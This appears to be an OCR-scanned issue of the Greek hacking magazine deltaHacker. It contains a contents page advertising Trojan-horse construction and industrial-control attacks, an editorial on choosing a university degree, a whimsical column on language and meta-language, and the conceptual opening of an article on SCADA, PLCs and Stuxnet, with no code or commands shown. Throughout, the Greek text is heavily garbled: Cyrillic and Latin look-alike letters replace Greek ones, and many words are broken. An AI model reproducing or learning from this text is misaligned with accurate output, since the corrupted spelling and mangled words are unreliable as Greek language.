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Ξεθάψτε τα διαμάντια του Usenet 
Φτιάξτε τα δικά σας Trojan Ногѕеѕ 


Αναδημιουργήστε τη θρυλική Enigma 


1 ОЗ УОП 


εντιτορια 


Όχι και το τόσο τυχαίες σκέψεις, 
σε όχι και τόσο τυχαία σειρά 


σνειλ НЕ! 


О Θείος Ακάκιος αρχίζει να µας γράφει για το πώς 
συνέβη να αρχίσει να µας γράφει αυτό που άρχισε να 
μας γράφει. Πού το πάει αυτή τη φορά; 


Επιθεσεις σε συστηµατα 


βιομηχανικού ελέγχου 


Γιατί γίνονται και πώς θα τις τραβήξετε 
κατά πάνω σας! 


Тһе Enigma Reborn 
[нёрос 1] 


Κρυπτογραφία 101 και εισαγωγή στην Enigma. 


Usenet: Пала υπηρεσία, νεα αποστολή! 


Είναι πολύ πιθανό να ξεχάσετε 
το біктио του BitTorrent. 


Μελετη και κατασκευη Δουρειων Ἵππων 
[μέρος 1] 


Μπορεῖτε να φτιάξετε το δικό σας Тго)ап Ногве 
-- και σας δείχνουμε πώς. 


Για ша χούφτα live Оауон=с 


Θέλετε να ἔχετε кош@ Τθριά διανομές Linux στο 
φλασάκι σας. Το ξέρουμε. 


ΒΑΛΤΕ (ακόμα περισσότερο) 
μυαλὀ στον ανεμιστήρα! [Part 1] 
Θυμόσαστε εκείνον τον έξυπνο ανεμιστήρα, 


που φτιάξαμε πέρυσι; E, φέτος θα τον 
κάνουμε τετραπέρατο! 


Οι πανισχυρες κανονικες εκφράσεις 
[μέρος 1] 


Ті στο καλό είναι; Ποιος ο σκοπός τους 
(αν ἔχουν σκοπό); Αξίζει να κατανοήσετε 
τη λογική τους; (You bet!) 


Εκδότης / Διευθυντής Χρήστος Βαρελάς 

Αρχισυντάκτης Παναγιώτης Βαρελάς 

Σύμβουλοι έκδοσης Νίκος Μουρατίδης, Βούλα Παυλἰδου 

Σύνταξη Παναγιώτης Βαρελὰς, Χρήστος Βαρελάς, Ανδρέας 


Βενιέρης, Γιώργος Γιάννου, Μανώλης Κιαγιάς, Ιωάννης 
Κονιάρης, Πέτρος Κυλαδίτης, Γιώργος Μελέκος, Νίκος 
Μουρατίδης, Νικόλαος Σηφάκης, Μέσος Παπαδόπουλος 
(ТМ), Χρίστος Τόμπρας 


Γραμματική επιμέλεια Βούλα Παυλίδου 


Καλλιτεχνική Επιμέλεια Πέτρος Φιλιππίδης 


Το ηλεκτρονικὀ περιοδικὀ deltaHacker εἶναι συνδρομητικό και εκδίδεται απὀ την Para- 
bing Creations δώδεκα φορὲς το χρόνο, κάθε μήνα. Н Parabing Creations έχει την ἑδρα 
της στη Μαιώτιδος 3, 55133, Καλαμαριά. О δικτυακός τόπος του περιοδικού εἶναι στο 
http://deltahacker.gr. То email επικοινωνίας εἶναι то talk2us@deltahacker.gr και ғібіка 
για τις συνδρομές εἶναι το subscriptions@deltahacker.gr. Οι γενικὲς πληροφορίες για τις 
συνδρομὲς παρατίθενται στο http://deltahacker.gr/subscriptions και οι ἴδιες οι παραγγελίες 
γίνονται απὀ το http://deltahacker.gr/pdf12order. Όλες οι απόψεις που εκφράζονται στα 
арӨра δεν εκφράζουν апараітпта και τη γνώμη του περιοδικού. 


(%) Παρακολουθήστε επιθέσεις σε ασύρματα δίκτυα: 
http://deltahacker.gr/deltacast-s01e09 
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НАСКЕК 


Στη 2η χρονιά και συνεχίζουμε ακάθεκτοι! 
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Μηνιαίο περιοδικό deltaHacker, http://deltahacker.gr 


Ethical Hacking / Δίκτυα / Ασφάλεια / Προγραμματισμός / Ηλεκτρονικά 


Е twitter.com/deltaHacker 
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[то καλύτερο όπλο στην αγορά εργασίας 


Εδὠ και μερικὰ χρονάκια, τέτοιες μέρες 
паіруо va εἶδος email τα οποία αν και δεν 
εἶμαι βέβαιος γιατὶ µου τα στέλνουν, πρέπει 
уа ομολογήσω бт! χαΐρομαι που τα λαμβάνω. 
Την ἴδια στιγµή όμως κάπου προβληματἰζο- 
μαι και διστάζω м” απαντήσω αμέσως... 


Бу subZraw 


Μη φανταστείτε βέβαια бт! беу απαντὠ. Απλά, 
πριν το κάνω, ελέγχω για ἄλλη ша φορά τη συλ- 
λογιστική µου, αναζητώντας κενὰ ἡ ακόμη ка! 
ὑπουλες παγίδες. Συνήθως αποτυγχάνω να βρω 
κάτι σηµαντικὀ ἡ ἑστω ανησυχητικὀ, οπότε κάνω 
ἑνα κλικ στο Reply, αρχίζω να πληκτρολογὠ και TO 
κρίμα στο λαιμὸ μου. 


Μια δηµοφιλἠς, που λέτε, κατηγορἰα email που 
λαμβάνω τέτοιον каро --φορὲς και νωρίτερα μέσα 
στη χρονιᾶ-- έχει να κάνει µε την επιλογἠ σχολἠς 
μετὰ τις Πανελλαδικές. «Ποια σχολἠ να δηλώσω», 
σε ρωτά о επιτυχῶν. «Αυτή στην Κρήτη ἡ εκεὶ- 
νη στη Θεσσαλονίκη;» Εντελὠς τυχαίες εἶναι О! 
πόλεις που αναφέρω, µη δίνετε σημασία. Αλλού 
εντοπἰζεται ο προβληματισμὀς. Απ’ ὁ,τι καταλα- 
Ваіуш, που λέτε, υποτίθεται От! η ша σχολἠ ἐχει 
κάποια προτερήματα ἑναντι της ἄλλης και σου 
αυξάνει τις πιθανότητες για επαγγελµατικἠ ano- 
κατάσταση μετὰ τις σπουδές. Όμως η ἰδια αυτή 
σχολή πέφτει κάπως μακρυὰ και δεν εἰναι καιροὶ 
αυτοί για ἐξοδα. Ποια σχολἠ, λοιπὀν, να δηλώσει 
ο φίλος ἡ η φίλη µας; 


Ма сас по την αλήθεια, κάθε φορά που ακούω 
ἡ διαβάζω για πιθανότητες επαγγελματικὴς ano- 
κατάστασης μετὰ τις σπουδὲς µε βάση το πτυχίο, 
δεν ξέρω, кайат! µε πιάνει. Όχι дті δεν ισχύει πως 
υπάρχουν καλὲς και καλύτερες σχολὲς, επομένως 
το πτυχίο апо τη μία βαραίνει λιγότερο στην ayo- 
ра εργασίας σε σύγκριση µε το πτυχίο апо την 
ἄλλη. Όμως µε τον како χαμό που γίνεται τρι- 
γύρω µας τα τελευταία χρόνια, την απαξίωση 
του δικαιώματος στην εργασία, την καταστροφή 
των μισθών και τα απίστευτα ποσοστάἀ ανεργίας, 
δεν νομἰζω От! έχει μεγάλη αξία η ὁποια υπόσχε- 
ση пері επαγγελματικής αποκατάστασης 4, 5 ἡ 6 
χρόνια апо σήμερα. 
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Προσέξτε: Δεν εἶμαι апо τους απαισιόδοξους, οὐτε μ’ αρέσει уа καταστροφο- 
λογὠ. Απλά, πιστεύω ὁτι αλλού εἶναι το κλειδί για επαγγελµατικἠ αποκατάσταση, | 
εδώ ἡ σε οποιαδήποτε ἄλλη χώρα στον πλανήτη. Το κλειδὶ --ἡ καλύτερα το µυστι- ` 
KÓ που όλοι λίγο πολὺ γνωρίζουν--, εἶναι να ауапас αυτό που σπουδάζεις κι ауто 
που κάνεις γενικότερα. Αν, N.X., o” αρέσει ο προγραμματισμὀς, τότε ανεξαρτήτως 
της σχολἠς που βρἰσκεσαι θα ασχολείσαι και, ναι, θα παιδεύεσαι και μόνος σου. 
Χρησιμότατο θα “уа! το επίσημο прбүранна σπουδὼν της σχολἠς, орос δεν θα 7 
βασίζεσαι αποκλειστικἁ с’ αυτὀ. Παράλληλα θα ἐχεις και то δικὀ σου πρὀγραμμα 
και θα γίνεσαι διαρκώς καλύτερος. 


Ξέρετε κάτι; Όλη αυτἠ η διαδικασία μάθησης δεν θα τελειώσει µε το пёрас των 
σπουδών και την απὀκτηση του πτυχίου. Θα συνεχἰζεται για ὀσο αγαπάτε αυτό που 
κάνετε, θα сас кабіста ανταγωνιστικὀτερους και --το µαντέψατε-- περιζήτητους 
στην аүора εργασίας. Па να µην то ζαλίζω алло: Αν δεν βλέπετε ως καταναγκαστι- 
кї εργασἰα αυτό που κάνετε, αργά ἡ γρήγορα θα λυθεἰ και то επαγγελματικὀ ζήτη- 
ра. Όχι μόνον αυτό, αλλά апо κάποιο σημείο και μετὰ θα “хете και την πολυτέλεια 
να απορρἰπτετε επαγγελματικὲς προτάσεις :) Αυτά, φίλες και φίλοι, διαπιστώνει ο 
- γράφων, µε τη λίγη піра που έχει апо τη ζωὴ και τα πράγματα (εἶναι μικρὸς ακὀ- 
ра), опдте ашта απαντάει και στα σχετικἁ emails που παίρνει. 


Πέρα апо την επιλογἠ σχολἠς και τους προβληματισμούς пері επαγγελματικἠς 
αποκατάστασης, μερικά emails που διαβάζω αφορούν στο ἴδιο το επιστημονικὀ 
αντικείµενο. Кауоуіка δεν θα έπρεπε у’ ανοίξω ауто το θέμα тора, орос ἑνα email 
που ἐλαβα πρόσφατα ἀγγιξε κάποιες ευαἰσθητες χορδές και, το παραδέχομαι, δεν 
κρατιέμαι να µην κάνω οὐτε καν µια σύντομη αναφορά. Μου ἐγραφε, λοιπὸν, ava- 
γνώστης του περιοδικού, бт! δεν рпорєі у’ αποφασίσει για το αν πρέπει να δηλώσει 
κάποια σχολἠ Πληροφορικἠς ἡ Μαθηματικών. Τον ξετρελαΐνει, µου ἐλεγε, о npo- 
γραμματισμὀς, ὁμως εἶναι ερωτευμένος και µε τα Μαθηματικά. Σκεφτόταν ο φίλος 
нас бт! αν επιλέξει τον δρόμο των Μαθηματικών, θα μπορέσει να γίνει *kai* καλὸς 
προγραμματιστής. Апо την ἄλλη, αν пй! σε σχολἠ Πληροφορικής θα αρχίσει να 
ασχολείται αµέσως µε τον προγραμματισμὀ και σίγουρα στο πρὀγραμμα σπουδὼν 
θα υπάρχουν και Μαθηματικά. Θα μπορέσει, орос, να μάθει *соота* Μαθηματικά; 


О γράφων, απὀ τη στιγμή που капоте npe πτυχίο Μαθηματικού, ἴσως δεν cei- 
Ναι ο καταλληλότερος για να απαντήσει. Аүапа ὁμως και τον προγραμματισμὀ -- 
και μάλιστα ἐχει ρἰξει ἀπειρα ξενύχτια για χάρη του. Θα αποτολµήσει, λοιπὸν, ша 
ξεκάθαρη απάντηση: Εἶναι поло πιο εὐκολο για ἑναν Μαθηματικὀ να γίνει καλὸς 
προγραμματιστής, пара το αντἰστροφο. 


” Ορίστε, λοιπὀν, то εἶπα. «Πέστε να µε φάτε», ὁπως λένε και στο Twitter. Πάντως 
уа το ξέρετε: Ὅσοι δεν θα xouv την ευκαιρία να ακολουθήσουν τη λεωφόρο των 
Μαθηματικών, χάνουν πολλά. Εἶναι π.χ. πιθανὀ να µη μάθουν ὁτι... 


«Κάθειδεώδες 4 του αλγεβρικού σώματος αριθμών Κ περιέχει και φυσικούς αριθμούς 
διάφορους του μηδενός.» 


Па να µην σας по бт! ποτὲ δεν θα συνειδητοποιήσουν πως... 


«Κάθε άπειρο καὶ φραγμένο σύνολο А του ευκλείδιου μετρικού χώρου (R, е), έχει 
τουλάχιστον ένα σημείο συσσωρεύσεως.» 


Νομίζω πως µε καταλαβαίνετε. 


σνένλ. рел 


Αγαπητοί µου, . 4 

Πρωτομηνινά σήμερα, καν το είχα πάρει αἴόφαση να рт μείνω µέσα. Είχα 
κατά νου να κατέβω στο Φάληρο να χαζέφώ τους γλάρους, καν πράγματι 
αυτό θα έκανα, αλλά την ώρα που περνούσα από την τραπεζαρία, έτοιμος 
να ανοίξω την πόρτα και να βγω, άκουσα оло то λάπτοπ της εξαδέλφης 
κάτι διαδηλώσεις. 


«Ту εἶναι αυτό, µας την έπεσαν ξανά ον αγαναχτισµένου!» την ρώτησα. 

«Λναδηλώσεις στην Κωνσταντινούπολη», pou λέεν. «Γίνεταν χαμός.» 

Πήγα από πάνω της να ποντάξω την οθόνη. «Ту έγυνε5» ρώτησα. «Τι τους 
ἔπνασε παλοπαιριάτικα»» 

«Н αφορμή είναι κάπονο πάρκο που ήθελαν να πειράξουν. Αλλά νομίζω 
бт, το θέµα είναι πιο σοβαρό.» 

Έματσα оло δίπλα και άρχισα να παρακολουθώ. Ανθόρµητα έβγαλα την 
γραφομηχανή. 

Έχανα λες παν ήμουν στον αυτόματο πιλότο. Σήκωσα το καπάκι, έβαλα 
σελίδα καν άρχισα να γράφω. 

Έγραφα αυτό που μόλις σας έγραφα. 

Ότι, δηλαδή, είναν πρωτομηνιά. καν бту ενώ το είχα πάρει απόφαση να 
μην μείνω µέσα αλλά να κατέβω оло Φάληρο μεριά για να δω τους γλά- 
ρους, μον κίνησαν την περιέργενα ον διαδηλώσεις που άκουσα στο λάπτοπ 
της εξαδέλφης. От, την ρώτησα τν ήταν αυτό, XL αν µας την έπεσαν ξανά ον 
αγανακτισµένον, καν Өту αυτή µου απάντησε πως γίνονται επεισόδια στην 
Κωνσταντινούπολη µε αφορμή Κάποιο πάρκο που ήθελαν να πειράξουν. Καν 
ότι, τελικά, Ехолао. оло δίπλα της να δω, Өту αυθόρμητα έβγαλα την ypa- 
φομηχανή, от, έβαλα σελίδα καν άρχισα να σας γράφω үш. το πώς συνέβη να 
αρχίσω να σας γράφω αυτό που άρχισα να σας γράφω, αντί να ανοίξω την 
πόρτα καν να βγω έξω όπως εἶχα αρχικά κατά νου. 

Να γράφω, δηλαδή, ότι ήταν πρωτομηνιά καν δεν το είχα σκοπό να μείνω 
µέσα, αλλά ον διαδηλώσεις απὀ τον φορητό της εξαδέλφης µε απέτρεφαν να 
πάω στο Φάληρο να κοιτάζω τους γλάρους. 

Καν οὕτω καθεξής, που θα έλεγε καν η μητέρα της εξαδέλφης που είναι 
Ινδονυίστρια. 


Πλάκα πλάκα, αν µε κοιτάξω албо κάποια απόσταση, αυτό πον κάνω 
αυτή την στιγµή δεν είναν καν τόσο διαφορετικό оло αυτό που κάνουν όλον 
εκείνον που σκυμμµένον, µε το τουίτερ καν το φένσμπουκ στο χέρν, µας EVN- 
μερώνουν συνεχώς үш. όλες τους τις δραστηριότητες αποσνωπώντας την πιο 
σηµαντική оло αυτές τις δραστηριότητες, ότι δηλαδή είναι συνεχώς σκυµ- 
μένον, µε το тоштер καν το φένσµπουκ στο χέρν. 


Βεβαίως, σε αντίθεση µε εκείνους εγώ δεν αποσυωπώ Өту cipar στην ypa- 
φομηχανή. 
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Δεν είναν παν εύκολο να το αποσνωπήσεις βέβαια µε τέτοιο θόρυβο που κάνουν τα πλήκτρα καν 
о κύλινδρος που επιστρέφει, όταν πατάω το Return. 


Που άλλωστε γν αυτό λέγεται Return. Πνο σωστά: «carriage return» ñ СК --το οποίο, όπως 
κάθε παλιός χειριστής τέλεζ ξέρεν, είναι άλλο πράγμα оло το LF (line feed) και εντελώς διαφο- 
ρετικό алб το Enter. 


Δεν το αποσιωπώ, λοιπόν, καθόλου. Απεναντίας εἶναι το βασικό πράγμα για το οποίο σας 
γράφω εδώ καν ώρα. Ότι, δηλαδή, είµαν στην γραφομηχανή καν γράφω για το бть είμαι στην ypa- 
φομηχανή και σας γράφω πως εἰίµαν στην γραφομηχανή και σας γράφω. 

Καν πάεν λέγοντας. 


Διάβαζα προ καιρού για έναν τύπο ονόματι Philip M. Parker, καθηγητή μάρχετυνγχ σε κάπονα 
σχολή επιχειρήσεων δεν ξέρω πού, ο οποίος έχει φτιάξει καν πατεντάρεν ένα σύστημα που μέσα σε 
20 περίπου λεπτά της ώρας συγγράφει ολόκληρα βιβλία үш. συγκεκριμένα θέµατα. 

Μιλάμε yla πολύ συγκεκριµένα θέµατα. Για παράδειγµα: «Webster's English to Icelandic 
Crossword Puzzles: Level І» (15,40 δολαριάκνα στο Amazon.com). Н «Webster's Kiribati to 
English Crossword Puzzles: Level I» (w. αυτό I3,46 δολάρια κάνει). 


Περίεργος τύπος, δεν λέω, δείχνει να έχει έφεση στα σταυρόλεξα (σε Level I) αλλά μάλλον δεν 
περυμένει να βγάλεν алб XEL τα λεφτά του. 


То конбо είναι αλλού. Γνα παράδειγµα, στο «The 2007-2012 World Outlook for Ice Cream 
and Frozen Dessert Manufacturing». То συγκεκριµένο βιβλίο κυκλοφορεί ήδη από то 2000 καν 
cipati σίγουρος бт βρίσκεταν στο ράφι όλων αυτών των οραματιστών πον άνοιξαν τα τελευταία 
χρόνια το ένα παγογναουρτάδικο δίπλα στο άλλο. θα το βρείτε στο Amazon.com έναντι 795 δο- 
λαρίων. Εφτακοσίων ενενήντα πέντε. 


Αν σας φαίνεται ακριβό, το συναφές «Тһе 2007-2012 World Outlook for Chilled Desserts» 
είναν σε προσφορά καν θα γίνεν δικό σας μόλις µε 755,25 δολαρνάμνα. 


Σπεύσατε. То αφεντικό τρελάθηκε. Εφτακόσια πενήντα πέντε δολάρια; Ту ὠνχή έχουν; 


Να το πούμε στον Δήμο της Ιεράς Πόλεως Μεσολογγίου να πάρουν αντίτυπα, оу καν είμαι σί- 
γουρος ÓTL θα το έχουν ἤδη κάνει. Ξέρετε, για να τονωθεί η επιχειρηµατικότητα καν να στηρι- 
χτούν ον οραµατιστές που ετοιμάζονταν να ανοίξουν παγογναουρτάδικο στην Ιερά Πόλη. 


Τέλος πάντων. Να µην τα πολυλογώ. О χύριος Philip M. Parker έχεν αυτή τη στιγμή στο Άμα- 
Соу απλωμένα προς πώλησιν 115.525 βιβλία. 


Ούτε ένα, о9тЕ δύο. 


H πατέντα µε τα χρυσά αβγά (pun intended): Philip М. Parker, πατέντα υπ. ар. 
0920000004051 ΑΙ, 25 Μαρτίου 2000, www.google.co.uk/patents/USZ2ZGGoCGo4o31, «Method апа 
Apparatus for Automated Authoring and Marketing». 


Καν µε αυτή την αφορμή, επανέρχοµαι, Ао лбу, αγαπητοί µου, στο θέµα που µε απασχολεί όλο 
αυτό τον καιρό. 


Βΐναν το εξής. 


Λιαβάζω үк. αυτό το σύ- 
στηµα που έχει φτιάξεν ο χύ- 
рос Parker. Μελετώ την πα- 
τέντα και βλέπω бт αυτό που 
κάνει το σύστημά του είναν 
να διατρέχει τεράστιες βάσεις 
δεδοµένων καν να αναδιατυ- 
πώνεν τα περιεχόμενά τους 
κατά τρόπο συμμορφούμενο 
σε συγκεκριμένες προδιαγρα- 
Фес παρουσίασης, σύνοφης жом 
μορφοποίησης. Όλα συμπληρώ- 
νονταιν αυτόματα: Τίτλος, πρώ- 
τη σελίδα, πρόλογος, κατά- 
λογος περιεχομένων, κείµενο, 
ευρετήριο, οπισθόφυλλο. 


σνένλ. μόνλ 
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Ῥωτώ, λοιπόν. Αν θεωρήσω πως τα δεδοµένα που διατρέχει το σύστημα 
Βρίσκονταν σε ένα συγκεκριµένο επίπεδο, σε NOLO επίπεδο βρίσκονται τα 
περιεχόμενα των βυβλίων που γράφει το σύστημα; Στο ἴδιο ἡ σε κάποιο µε- 
τα-επίπεδορ 

Να το ρωτήσω αλλνώς. Αν θεωρήσω ότι τα αρχικά δεδοµένα εἶναι δνατυ- 
πωμένα σε μια κάπονα γλώσσα L, τότε σε ποια γλώσσα εἶναι διατυπωμένα τα 
Βιβλία του Parker; Στην L ἡ σε κάπονα άλλη µεταγλώσσα, ұп; 

H απάντηση µοιάζεν υπόπτως εύκολη. O Parker παίρνει τα αρχικά του 
δεδομένα оло κάπου καν, µετά την επεξεργασία τους, τα επαναδιατυπώνεν 
σε ένα µετα-επίπεδο. Τα δεδοµένα εἶναι «γλωσσικά» παν τα περιεχόμενα 
των βυβλίων του Parker «μεταγλωσσινκά». 

Αγαπητοί µου, 

η ιδέα που µου έχει κολλήσεν τον τελευταίο πανρό είναν πως αυτό δεν 
νσχύεν. 

Σκέφτομαι καν ξανασκέφτοµαν Өту η διάκριση «γλώσσας» - «μεταγλώσ- 
σας» σε αυτό και σε άλλα παρόμοια παραδείγματα εἶναι «τετριμμένη» (µε 
την μαθηματική σημασία. της λέξης: «бгіуіа1»), καν бт συσκοτίζει παρά 
διαφωτίζεν τα ζητήματα. 

То ζήτημα, όπως καταλαβαίνετε, εἶναι µεγάλο. Αλλά, να. Ξεκίνησα σήµε- 
ρα την επιστολή μου γράφοντάς σας ότι ενώ ετοιμαζόµμουν να πάω στο Φά- 
ληρο έμεινα να βλέπω ενδήσεις γνα τα επεισόδια στην Κωνσταντινούπολη καν 
να σας γράφω στη γραφομηχανή Өту ήμουν πράγματι καθ' οδόν προς Φάλη- 
ро αλλά έμεινα µέσα για να σας γράφω και λοιπά καν λοιπά καν λοιπά. 

Λες καν ἡμουν καθρέφτης жол κοίταγα µέσα στον καθρέφτη. 

Με άλλα λόγια, η παράγραφός μου έµοναζε να έχεν την δοµή αναδρομικού 
βρόχον (recursive loop). Eixe, όμως; 

θεωρώ πως ὀχν. 

Ἡ σκέφη µε την οποία θα σας αφήσω σήµερα, αγαπητοί µου, µπορεί να 
διατυπωθεί ως εξής: Όταν ως γλώσσα εξετάζουμε την ανθρώπινη φυσική 
γλώσσα, τότε κάθε διαφοροποίηση γλώσσας / µεταγλώσσας εἶναι τετριμμένη 
(trivial). 

Άλλως ειπείν: Н φυσική γλώσσα µπορεί να είναι μεταγλώσσα του εαυτού 
της μόνο κατά τετριυμμένο троло. 

Νομίζω бт αυτός είναν ο μόνος τρόπος να συστηµατοποιηθεί αυτό που 
προσπαθώ να πω τόσον καιρό τώρα, και πον, πράγματι, σας έλεγα την TE- 
λευταία φορά. 

Έγραφα, ίσως θυμάστε, бт, όταν μιλάω όντας σε ένα επίπεδο, π.χ., στο 
Επίπεδο της πράξης, δεν μπορώ να εἴμαν ταυτόχρονα /καν/ σε αυτό αλλά / 
καν/ στο µετα-επίπεδο της περιγραφής της πράξης. 

Σήμερα εξηγώ Өту ο λόγος που συμβαίνει αυτό είναι γιατί στην ανθρώπι- 
νη γλώσσα η διάκριση επιπέδου / µετα-επιπέδου είναν τετριμμένη, trivial, 
μη-- αυστηρή. 

Οποιαδήποτε πρόταση διατυπωμένη σε ένα από αυτά τα επίπεδα ανα- 
πόφευντα διαχέεται στο άλλο, KAL µε KÁVEL να πέφτω στην λούμπα της μη 
διάκρισης επιπέδων. 


Βασιλική διαταγή και τα σκυλιά δεμένα. 


Σας ασπάζομαν 
θείος Ακάκιος 
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Skill: Intermediate 
Tags: SCADA, РІС, RITU, EWS, ЕНІ, honeypot, conpot, shodan 


Ἔχετε ακούσει την έννοια του κυβερνοπολέμου; Αν δεν κατοικεῖτε 
σε κἄποια δύσβατη σπηλιά ἡ σε κἄποια ερηµικἠ параліа του 
Ανατολικού Τιμόρ, ὀλο και κάτι θα ἐχει πάρει το αυτί σας. 
Ἔφτασε που λέτε о καιρὀς να ξεχάσουμε αυτά που ξέραμε, 
аүапптес κι αγαπητοί. Κανένας διοικητἠς πλέον δεν πρὀκειται να 
θυσιάσει τόσο εὐκολα τους στρατιώτες του στο πεδίο της μάχης, 
отау μπορεί να ках τη δουλειά του απομακρυσμένα. 
Καλώς ἠρθατε στη νέα γενιὰ μαχῶν, ὀπου οι χειρότεροι nerds 
γίνονται οι καλύτεροι соттапаоѕ! 


Επιθέσεις σε συστήµατα Βιομηχανικού ελέγχου 
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То ζήτημα του κυβερνοπολέμου εἶναι πολύπλοκο και µε πάμπολλες προεκτάσεις. 
Βλέπετε, η ασφάλεια στο διαδίκτυο ἐχει καταντήσει στρατηγικὀ ζήτημα για την 
ασφάλεια µιας χώρας. Πλέον, κάθε στρατιωτική ἡ πολιτικἠ σύγκρουση εμπεριέχει 
στοιχεία κυβερνοπολέμου. Μη νομίζετε бт! πρὀκειται για кеті καινούργιο. Па пара- 
δειγµα, апо το 1980 η τότε Σοβιετικἡ Ένωση εἰχε επενδύσει μεγάλα поса και πολλὲς 
ανθρωποώρες για τη λεγόμενη Τεχνολογική Στρατιωτικἠ Επανάσταση (МТВ: Military 
Technological Revolution). Αυτή δεν ἦταν τίποτε ἄλλο апо την (κατἀ)χρήση υπολογι- 
отоу, βάσεων δεδομένων και δικτύων, µε στὀχο τη σύνδεση σε δίκτυα πληροφοριών 
του αντιπάλου. 


Μια κυβερνοεπίθεση δεν αποτελεἰ τον τελικὁ στὀχο µιας επιχείρησης. Συνήθως, про- 
κειται για ἐναν προπομπὀ πολλών επιθετικὠν ενεργειών, ὁπως εἶναι η προπαγάνδα 
και η διασπορά ψευδών ειδήσεων — και φυσικά η απενεργοποίηση/αχρήστευση δια- 
φόρων εγκαταστάσεων του αντιπάλου. Με αυτὲς τις εγκαταστάσεις θα ασχοληθούμε 
και στο παρὀν άρθρο! Αναρωτιέστε τι εννοούμε Отау μιλάμε για εγκαταστάσεις; 
Αναφερόµαστε σε ὁλες εκείνες τις υπηρεσίες και τους οργανισμούς που εἶναι υπεύ- 
θυνοι για να λειτουργεί µια χώρα ἡ µια περιοχή. Θέλετε παραδεἰγµατα; Το δίκτυο 
ηλεκτρισμού, то δίκτυο ὑδρευσης, οι μονάδες παραγωγἠς ενέργειας (υδροηλεκτρι- 
кої σταθμοί, φράγματα, ανεμογεννήτριες к.о.к.), о! μονάδες καθαρισμού νερού, та 
εργοστάσια επεξεργασίας λυμάτων, οι αγωγοί αερἰου, τα πυρηνικά εργαστἠρια και 
ότι ἄλλο βάζει ο νους σας! 


ШЕГУ! 
MEA 
mari 


H εμφάνιση ενὀς κλασικού РІС (Programmable 
Logic Controller). Ούτε οθόνη, ούτε τίποτα. Δεν τον 
λέτε ΚΙ ὀμορφο! 
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Buiding Blocks of an Intelligent RTU 


Power | 
Supply С | and Chasis 
- ' Frames 
1/0 Modules Communications 


Interface 


Software 


Та RTUs εἶναι σαφώς πιο εξελιγμένα απὀ та PLCs. Πολλά 
διαφορετικά modules κουμπώνουν μεταξύ τους, για να 
δημιουργήσουν ғуау βιομηχανικὀ εγκέφαλο! 


Μιας και εἰπαμε για πυρηνικά, τι γνωρίζετε για το Stuxnet; Πρὀκειται για то ΠΙΟ 
περίπλοκο και εξελιγμένο malware που ἐχει κατασκευαστεἰ ποτὲ κι ο στόχος του 
ήταν οι εγκαταστάσεις απεμπλουτισμού ουρανίου στο Ιράν. Μισό megabyte κὠδικα 
που μεταφέρθηκε µε ёха USB stick, κατάφερε να κάνει μέσα σε μικρὸ χρονικό διά- 
στηµα оса θα πετύχαινε και µια στρατιωτικἠ επἐµβαση, η οποία θα δημιουργούσε 
παγκόσμια αναταραχὴ και θα κόστιζε πολλὲς ανθρώπινες ζωές κι ακόµα περισσότερα 
εκατομμύρια δολαρίων. Δεν µας ενδιαφἑρει фиска να πάρουμε θέση σε αυτή τη δι- 
αμάχη, αλλά νομἰζουμε πως καταλαβαίνετε ауто που προσπαθούμε να τονίσουμε: о 
κυβερνοπόλεμος εἶναι «ασφαλής», «συμφέρει» και εἶναι ἠδη στην πόρτα µας! 


Rage against the (industrial) machine! 


Το θέμα του κυβερνοπολέμου εἶναι εξαιρετικἁ ενδιαφἐρον και θα αποτελέσει σίγου- 
ра το αντικείµενο ενὸς μελλοντικού άρθρου, αποκλειστικἁ αφιερωμένου σε ÒÀEG τις 
σχετικὲς εξελίξεις. Στο парду ἀρθρο, όμως, θα ασχοληθούμε µε το στόχο των KU- 
βερνοεπιθἐσεων. Προηγουμένως αναφερθήκαμε στις διάφορες εγκαταστάσεις µιας 
περιοχής, αλλά στην πράξη ο στόχος εντοπίζεται στα ηλεκτρονικἁ συστήματα που 
ελέγχουν και ρυθμίζουν τη λειτουργία των διαφόρων ἐργων υποδομής. Τα περισσὀ- 
тєра апо αυτά τα συστήματα δημιουργήθηκαν pači ре та αντἰστοιχα εργοστάσια και 
λειτουργούν ακολουθώντας τους ἰδιους, παλιοὺς κανόνες. Εξάλλου, πολλά апо αυτά 
δεν ἐχουν αναβαθµιστεἰ потё! Τα συστήµατα στα οποία αναφερόμαστε ονομάζονται 
συστήματα SCADA (Supervisory Control апа Data Acquisition), αλλά εἶναι πιθανό 
уа τα συναντήσετε και σαν ІС5 (Industrial Control Systems). Στην πιο απλἠ τους 
µορφή, τα συστήματα SCADA παρέχουν τη δυνατότητα παρακολούθησης διαφόρων 
αισθητήρων, ὁπως για παράδειγµα θερμόμετρα, ὀργανα μέτρησης πἱεσης к.а. >муй- 
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θως ὁμως та συστήµατα SCADA xouv πολύ πιο πλούσιες ικανότητες και παρέχουν 
πρόσβαση σε πολλά κι ενδιαφἐροντα υποσυστήματα, ὁπως та ακὀλουθα: 


Όργανα μέτρησης εντὀς του εργοστασίου, µε τη δυνατότητα ανίχνευσης και 
καταγραφἠς διαφόρων μεγεθών, ὁπως π.χ. πίεση, θερμοκρασία, рН, ταχύτητα 
ροής κ.ο.κ. 


τεχνικὀ εξοπλισμὀ, ὁπως εἶναι οι βαλβίδες πιέσεως, οι αντλίες, οι µετασχηµα- 
τιστὲς κ.λπ. 


Лоүікойс επεξεργαστὲς που επικοινωνούν µε τα δύο παραπάνω. O! λογικοί επε- 
ξεργαστὲἐς αποτελούν τα βασικότερα τμήματα του όλου κυκλώματος και uno- 
ρούν να ¿xouv vav ἡ παραπάνω апо τους παρακάτω ρόλους: 


1, Συλλογή και καταγραφἡ δεδοµένων. 


2. Ενεργοποϊηση/απενεργοποἰηση του εξοπλισμού, σύμφωνα µε κἀποια Ào- 
γικἠ που ἐχει αποθηκευτεἰ στη μνήμη τους ñ µε βάση εντολὲς που δέχο- 
ута! апо κἀποιον χειριστή. 


3. Μετάφραση πρωτοκόλλων, για τη διασύνδεση διαφορετικών τμημάτων 
του εξοπλισμού. 


4. Ανίχνευση βλαβὠν και καταστάσεων κινδύνου. 
Συστήματα επικοινωνίας μεταξύ των λογικών επεξεργαστών. 


Υπολογιστὲς που λειτουργούν σαν σταθμοί χειρισμού. Σε αυτούς κάθεται συ- 
νήθως κάποιος φαλακρὸς και ευτραφἠς τύπος, που παρακολουθεί τη λειτουρ- 
yia του εργοστασίου (Σ.τ.Ε. Καπελάκι jockey ανάποδα, δεν φοράει;!) Σε αυτούς 
τους υπολογιστὲς καταλήγουν τα δεδοµένα απὀ τους λογικούς επεξεργαστὲς 
και συνήθως υπάρχει εγκατεστημένο ἑνα περιβάλλον γραφικών, για την ευκο- 
